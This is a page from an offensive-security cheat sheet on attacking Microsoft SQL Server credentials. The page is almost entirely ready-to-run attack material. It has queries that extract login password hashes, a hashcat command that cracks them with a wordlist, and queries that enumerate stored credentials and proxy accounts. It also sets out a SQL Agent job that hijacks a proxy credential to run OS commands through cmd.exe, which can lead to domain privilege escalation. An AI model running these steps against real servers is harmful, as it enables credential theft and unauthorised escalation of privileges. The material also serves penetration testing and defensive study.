InternalAllTheThings/docs/databases/mssql-credentials.md

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# MSSQL - Credentials
## Summary
* [MSSQL Accounts and Hashes](#mssql-accounts-and-hashes)
* [List Credentials on the SQL Server](#list-credentials-on-the-sql-server)
* [Proxy Account Context](#proxy-account-context)
## MSSQL Accounts and Hashes
* MSSQL 2000
```sql
SELECT name, password FROM master..sysxlogins
SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins
-- (Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer.)
```
* MSSQL 2005
```sql
SELECT name, password_hash FROM master.sys.sql_logins
SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins
```
Then crack passwords using Hashcat : `hashcat -m 1731 -a 0 mssql_hashes_hashcat.txt /usr/share/wordlists/rockyou.txt --force`
| Hash-Mode | Hash-Name | Example |
| --- | --- | --- |
| 131 | MSSQL (2000) | 0x01002702560500000000000000000000000000000000000000008db43dd9b1972a636ad0c7d4b8c515cb8ce46578 |
| 132 | MSSQL (2005) | 0x010018102152f8f28c8499d8ef263c53f8be369d799f931b2fbe |
| 1731 | MSSQL (2012, 2014) | 0x02000102030434ea1b17802fd95ea6316bd61d2c94622ca3812793e8fb1672487b5c904a45a31b2ab4a78890d563d2fcf5663e46fe797d71550494be50cf4915d3f4d55ec375 |
## List Credentials on the SQL Server
* List credentials configured on the SQL Server instance
```sql
SELECT * FROM sys.credentials
```
* List proxy accounts
```sql
USE msdb;
GO
SELECT
proxy_id,
name AS proxy_name,
credential_id,
enabled
FROM
dbo.sysproxies;
GO
```
* [dataplat/dbatools/Get-DecryptedObject.ps1](https://github.com/dataplat/dbatools/blob/7ad0415c2f8a58d3472c1e85ee431c70f1bb8ae4/private/functions/Get-DecryptedObject.ps1)
## Proxy Account Context
Agent Job using the registered proxy credential.
```sql
USE msdb;
GO
-- Create the job
EXEC sp_add_job
@job_name = N'WhoAmIJob'; -- Name of the job
-- Add a job step that uses the proxy to execute the whoami command
EXEC sp_add_jobstep
@job_name = N'WhoAmIJob',
@step_name = N'ExecuteWhoAmI',
@subsystem = N'CmdExec',
@command = N'c:\windows\system32\cmd.exe /c whoami > c:\windows\temp\whoami.txt',
@on_success_action = 1, -- 1 = Quit with success
@on_fail_action = 2, -- 2 = Quit with failure
@proxy_name = N'MyCredentialProxy'; -- The proxy created earlier
-- Add a schedule to the job (optional, can be manual or scheduled)
EXEC sp_add_jobschedule
@job_name = N'WhoAmIJob',
@name = N'RunOnce',
@freq_type = 1, -- 1 = Once
@active_start_date = 20240820,
@active_start_time = 120000;
-- Add the job to the SQL Server Agent
EXEC sp_add_jobserver
@job_name = N'WhoAmIJob',
@server_name = N'(LOCAL)';
```
Execute the Agent job so that a process will be started in the context of the proxy account and execute your code/command.
`EXEC sp_start_job @job_name = N'WhoAmIJob'; `
## References
* [Hijacking SQL Server Credentials using Agent Jobs for Domain Privilege Escalation - Scott Sutherland - September 10, 2024](https://www.netspi.com/blog/technical-blog/network-pentesting/hijacking-sql-server-credentials-with-agent-jobs-for-domain-privilege-escalation/)